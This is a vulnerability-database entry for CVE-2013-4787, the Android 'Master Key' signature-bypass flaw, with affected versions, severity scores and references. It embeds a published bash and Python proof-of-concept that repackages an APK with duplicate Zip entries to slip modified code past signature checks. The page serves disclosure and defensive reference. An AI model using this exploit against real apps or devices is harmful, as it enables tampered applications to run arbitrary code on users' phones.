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CVE-2013-4787 : Detail

CVE-2013-4787

A02-Cryptographic Failures
0.24%V3
Network
2022-10-03 14:14 +00:00
2022-10-03 14:14 +00:00
CVE.org
NVD

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Descriptions

Android 1.6 Donut through 4.2 Jelly Bean does not properly check cryptographic signatures for applications, which allows attackers to execute arbitrary code via an application package file (APK) that is modified in a way that does not violate the cryptographic signature, probably involving multiple entries in a Zip file with the same name in which one entry is validated but the other entry is installed, aka Android security bug 8219321 and the "Master Key" vulnerability.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-310 Category : Cryptographic Issues
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

Metrics

Metric Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 38627

Publication date : 2013-07-02 22:00 +00:00
Author : Bluebox Security
EDB Verified : Yes

#source: https://www.securityfocus.com/bid/60952/info # #Google Android is prone to a remote security-bypass vulnerability. # #Attackers can exploit this issue to bypass certain security restrictions to perform unauthorized actions. This may aid in further attacks. #!/bin/bash # PoC for Android bug 8219321 by @pof # +info: https://jira.cyanogenmod.org/browse/CYAN-1602 if [ -z $1 ]; then echo "Usage: $0 " ; exit 1 ; fi APK=$1 rm -r out out.apk tmp 2>/dev/null java -jar apktool.jar d $APK out #apktool d $APK out echo "Modify files, when done type 'exit'" cd out bash cd .. java -jar apktool.jar b out out.apk #apktool b out out.apk mkdir tmp cd tmp/ unzip ../$APK mv ../out.apk . cat >poc.py <<-EOF #!/usr/bin/python import zipfile import sys z = zipfile.ZipFile(sys.argv[1], "a") z.write(sys.argv[2]) z.close() EOF chmod 755 poc.py for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done cp out.apk ../evil-$APK cd .. rm -rf tmp out echo "Modified APK: evil-$APK"

Products Mentioned

Configuraton 0

Google>>Android >> Version 1.6

Google>>Android >> Version 2.0

Google>>Android >> Version 2.0.1

Google>>Android >> Version 2.1

Google>>Android >> Version 2.2

Google>>Android >> Version 2.2

Google>>Android >> Version 2.2.1

Google>>Android >> Version 2.2.2

Google>>Android >> Version 2.2.3

Google>>Android >> Version 2.3

Google>>Android >> Version 2.3

Google>>Android >> Version 2.3.1

Google>>Android >> Version 2.3.2

Google>>Android >> Version 2.3.3

Google>>Android >> Version 2.3.4

Google>>Android >> Version 2.3.5

Google>>Android >> Version 2.3.6

Google>>Android >> Version 2.3.7

Google>>Android >> Version 3.0

Google>>Android >> Version 3.1

Google>>Android >> Version 3.2

Google>>Android >> Version 3.2.1

Google>>Android >> Version 3.2.2

Google>>Android >> Version 3.2.4

Google>>Android >> Version 3.2.6

Google>>Android >> Version 4.0

Google>>Android >> Version 4.0.1

Google>>Android >> Version 4.0.2

Google>>Android >> Version 4.0.3

Google>>Android >> Version 4.0.4

Google>>Android >> Version 4.1

Google>>Android >> Version 4.1.2

Google>>Android >> Version 4.2

References

http://www.securityfocus.com/bid/60952
Tags : vdb-entry, x_refsource_BID
http://www.osvdb.org/94773
Tags : vdb-entry, x_refsource_OSVDB

More information
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